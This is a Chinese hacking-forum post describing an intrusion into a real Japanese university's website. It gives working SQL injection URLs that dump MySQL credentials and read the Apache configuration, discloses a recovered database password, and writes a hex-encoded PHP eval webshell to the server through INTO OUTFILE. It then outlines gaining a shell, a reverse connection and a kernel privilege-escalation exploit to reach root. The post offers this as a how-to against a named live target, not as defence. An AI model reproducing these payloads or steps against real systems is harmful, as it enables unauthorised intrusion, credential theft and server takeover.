中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
- \! X9 I1 [& M. L6 X* @0 R
4 l7 R( K& ^) _2 Y6 {/ ]
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
- v) E9 p* C) G
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) j& D4 P7 C3 A, i2 t
7 d% K' g3 o* `, O& ` s- ]$ h
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
! m1 q- s: d P2 E7 G+ s- F. a: a
& {% ]$ T- G, ?2 r
4 d+ t, q+ c6 U' E
8 H2 Y4 z2 z5 x. _2 r( p
//@@datadir为数据库文件路径
5 x4 l6 ?6 t% t( i! z
/ V7 E9 A# p0 N3 ~8 l
2 W& l7 Z6 @! u
//load_file读取网站容器apache的配置文件
$ Z3 s% g2 V' M- H: E4 }
8 k: N6 I, p3 B# q/ |
8 ?# _+ D# E7 o% k) B+ y u
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
8 H, G( v$ v, m! y0 r
复制代码
3 v4 @# Z% R; d0 |
- m2 V# N# N, @5 ^
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
# T! G. A' C" M8 `4 |
% F0 ^! z I% F9 s
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
4 c) y, b" |0 `* B
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
2 \( _) N- i8 }+ F6 s0 s0 P4 q
/ W1 H q+ U( k2 \& X. ^
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
/ |# h, l& C* k0 \* {9 V# j
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
8 `3 }, y9 L8 v% g) S; Y
3 V2 S2 {5 o( b" ?. Z' M8 _ e
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
0 r$ q. u8 k* Q8 U c+ F/ R+ Q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 d7 a( q' q1 M4 n1 m* {
直接写一句话:
3 S ?: y0 s" ~. K9 V
6 t! w d, [: ~& V
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
2 E) S" E o: n5 N
1 x, k( C+ q0 Q$ ?9 c [1 S% M+ B5 N' t
/ x3 g2 [+ h+ F1 f( p" |
5 L* A/ e, c/ Q) H, @# f
//最后的#是为了闭合前面的语句
6 x/ b! z- g" I y7 s$ }! G
+ ~9 K. K; d% E
9 {, D) R6 B0 v5 Q. p/ c
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
4 p! K8 @- v6 [4 D! E
4 G/ f8 E- K. X
' O, m3 F7 x* k, F2 ?6 t7 M
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
+ f5 z- m7 `" X9 G
7 y3 H; _9 F1 V/ n. t5 X
; x+ y$ ?6 \9 r+ M0 o) d
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
* x4 y! u3 B& w) P- w6 P
. x2 ^+ u9 _# Z+ X2 P$ r
- {! `. r3 s, Q L
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 ]+ ^- u1 N. `8 m4 }* z9 U0 G
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
0 _8 `& K" @+ a$ b8 ~: F" j
复制代码
% r1 t9 S; U* T3 ^, D
1 i4 z2 E$ h# c( P
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
2 E) r3 B2 X" F" [
通过上述注入语句,我们就得到了一句话木马:
- f( ~% G# e, b, `4 R; t0 X
) I- s$ v: q" u6 z# ]( t
- V8 _& y9 p+ C: x( k
0 a; ~ E* J1 ]0 m4 l
8 S0 @6 Z3 B7 _* q* A- r" i
$ E# |; `( `' Y' y5 V1 E l
http://www.doshisha.ac.jp/english/engnews_img/aa.php
8 V% c* h' G! T/ A
复制代码
+ H5 `% R& j6 }+ k6 H% J5 H) L' N' ?" c
2 z$ d0 c. b; h: L( u5 V0 j
用菜刀连接,密码是cmd,如图所示:
$ Q' M6 T- H& b; z. `
然后在命令提示行里看了一下,现在的权限是:
& G& W' s- n6 Z- }- F* y
- Q$ ^9 ^! c; x5 P4 D
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
: t! F" z% M t9 s# @1 D
好在赋权给这个文件夹不需要root,直接执行赋权语句:
: y% d9 |! u, t! x% i( M
4 g0 F" k8 X! u( `8 K
( p$ l) A8 R/ X; W$ v
- Y+ \: b% ~* S
. k9 z- ^2 {) ?8 j; f) H1 x
# q9 a2 p% d& e6 y5 Z! ~3 x/ i
chmod +x /tmp/
+ s; S# R$ M+ [, b. T) s* e
复制代码
- N; |3 t, y7 C. }6 \. Y& U
& W1 q" k' F/ ~( c
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
0 J; }( w( t4 p2 H
然后就查了一下内核版本:
) J: E! q y( b
. P2 C% w% a' S; X; L% G! [
+ \2 O. d4 J; B2 T
) X9 T4 Z, f, x' c' t" f, _
1 M( r N- Q( Q# D
4 M* e( z) Y/ O$ w
uname-a
2 E* P5 q* q4 q x
' Y# c8 R1 F9 j
- q" t+ U+ E/ m4 W
//其实lsb_release -a
5 Z5 u. k1 l- L, W4 O% F
复制代码
( e/ s8 L! |+ w. \- d
( K, M( h. P+ S+ L2 H4 U0 [' H
如图所示:
2 Y7 \7 M' H# _4 J
& l+ E: `' d/ @0 g( q3 @ y# C
内核版本:linux mainz1 2.6.28-194.e15
" \2 ?7 W5 d& a% O$ B
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
9 I' l# D( V) F
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
- F0 n8 A6 i7 t
; A; n0 M+ m& I" _% s( D
然后给予执行权限
n R" U8 u' ~' N1 |$ }
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
6 K2 K' Y9 x) Q8 V2 a
! w6 ^& e( t6 X2 j, z$ z4 }
. X7 ^2 p( ^9 Z8 d4 k- e) d; I
* o4 v: @% O6 ~
# l% j3 T4 F8 l. S2 y: H! O4 E
: J+ ]/ Y2 q( F- R/ A1 X, d
chmod +x /tmp/2.6.18-194
% ~& u% g( G9 [9 q# {1 C2 C) B
复制代码 然后直接执行!~
' F, ]! f- G# x6 Z( T8 V% z- d
/ z' g% q) W: P- d% i- D( j5 S
总结:
$ d+ R7 }6 M, g6 B; L& k! D
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
" C5 l; w; @6 q) I
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
$ D0 G# _1 F9 i# R* F* w. Q
" f2 J8 D% s, ^& ~3 m+ |9 k( G
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2